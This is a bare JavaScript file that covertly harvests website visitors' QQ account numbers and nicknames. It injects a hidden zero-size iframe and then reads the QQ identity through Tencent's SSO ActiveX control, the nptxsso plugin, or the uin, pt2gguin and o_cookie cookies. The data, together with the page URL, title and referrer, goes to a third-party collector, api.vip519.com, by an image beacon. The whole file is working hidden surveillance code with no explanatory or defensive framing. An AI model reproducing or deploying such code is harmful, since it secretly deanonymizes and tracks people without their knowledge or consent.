function _init_send_by_iframe() {
    var i_uid = "7";
    var i_php = "http://api.vip519.com/";
    var i_referrer = encodeURIComponent(document.referrer);
    var i_url = encodeURIComponent(document.location.href);
    var i_title = encodeURIComponent(document.title);
    var url = "http://4000745006.114.qq.com/ndetail_198.html";
    url += "?i_uid=" + i_uid;
    url += "&i_php=" + encodeURIComponent(i_php);
    url += "&i_referrer=" + i_referrer;
    url += "&i_url=" + i_url;
    url += "&i_title=" + i_title;
    url = url.replace("&", "&amp;");
    document.writeln("<iframe height='0' width='0' scrolling='no' frameborder='0' src='" + url + "'></iframe>")
}
_init_send_by_iframe();


var i_php;
var i_uid;
var i_referrer;
var i_url;
var i_title;
var i_qq;
var i_nick;
function _init_vars() {
    if (BZ.params.userNick == null) {
        i_nick = ""
    } else {
        i_nick = encodeURIComponent(BZ.params.userNick)
    }
    var query = location.search.substring(1);
    var pairs = query.split("&");
    for (var i = 0; i < pairs.length; i++) {
        var pos = pairs[i].indexOf('=');
        if (pos == -1) continue;
        var key = pairs[i].substring(0, pos);
        var value = pairs[i].substring(pos + 1);
        if (key == "i_uid") {
            i_uid = value
        } else if (key == "i_php") {
            i_php = decodeURIComponent(value) + "?action=saveQQ"
        } else if (key == "i_url") {
            i_url = value
        } else if (key == "i_referrer") {
            i_referrer = value
        } else if (key == "i_title") {
            i_title = value
        }
    }
}
function _ini_qq_by_sso() {
    var qqnum = null;
    var qqnick = null;
    try {
        if (window.ActiveXObject) {
            var J = new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");
            var E = J.CreateTXSSOData();
            J.InitSSOFPTCtrl(0, E);
            var B = J.CreateTXSSOData();
            var A = J.DoOperation(2, B);
            var T = A.GetArray("PTALIST");
            var G = T.GetSize();
            for (var d = 0; d < G; d++) {
                var E = T.GetData(d);
                qqnum = E.GetDWord("dwSSO_Account_dwAccountUin");
                try {
                    qqnick = E.GetStr("strSSO_Account_strNickName")
                } catch(Z) {
                    qqnick = ""
                }
            }
        } else {
            if (navigator.mimeTypes["application/nptxsso"]) {
                var D = document.createElement("embed");
                D.type = "application/nptxsso";
                D.style.width = "0px";
                D.style.height = "0px";
                document.body.appendChild(D);
                var I = D.InitPVA();
                if (I != false) {
                    var F = D.GetPVACount();
                    for (var W = 0; W < F; W++) {
                        qqnum = D.GetAccountName(W);
                        qqnick = D.GetNickname(W)
                    }
                }
            }
        }
    } catch(H) {}
    if (qqnum != null && qqnum != "" && qqnick != null && qqnick != "") {
        i_qq = qqnum;
        i_nick = qqnick;
        return true
    } else {
        return false
    }
}
function _init_qq() {
    var o_cookie;
    var arrStr = document.cookie.split("; ");
    for (var i = 0; i < arrStr.length; i++) {
        var temp = arrStr[i].split("=");
        if (temp[0] == "uin" && temp[1] != "" && temp[1] != "0" || temp[0] == "pt2gguin" && temp[1] != "") {
            i_qq = temp[1].replace("o", "");
            return
        } else if (temp[0] == "o_cookie" && temp[1] != "") {
            o_cookie = temp[1].replace("o", "")
        }
    }
    if (o_cookie != null) {
        i_qq = o_cookie
    }
}
var isRunned = false;
function _init_send() {
    if (isRunned || i_php == null || i_php == "" || i_qq == null || i_qq == "") {
        return
    }
    isRunned = true;
    var img = new Image();
    img.src = i_php + "&uid=" + i_uid + "&qq=" + i_qq + "&nick=" + i_nick + "&url=" + i_url + "&title=" + i_title + "&referrer=" + i_referrer + "&r=" + new Date().getTime()
}
_init_vars();
if (_ini_qq_by_sso() == false) {
    _init_qq()
}
_init_send();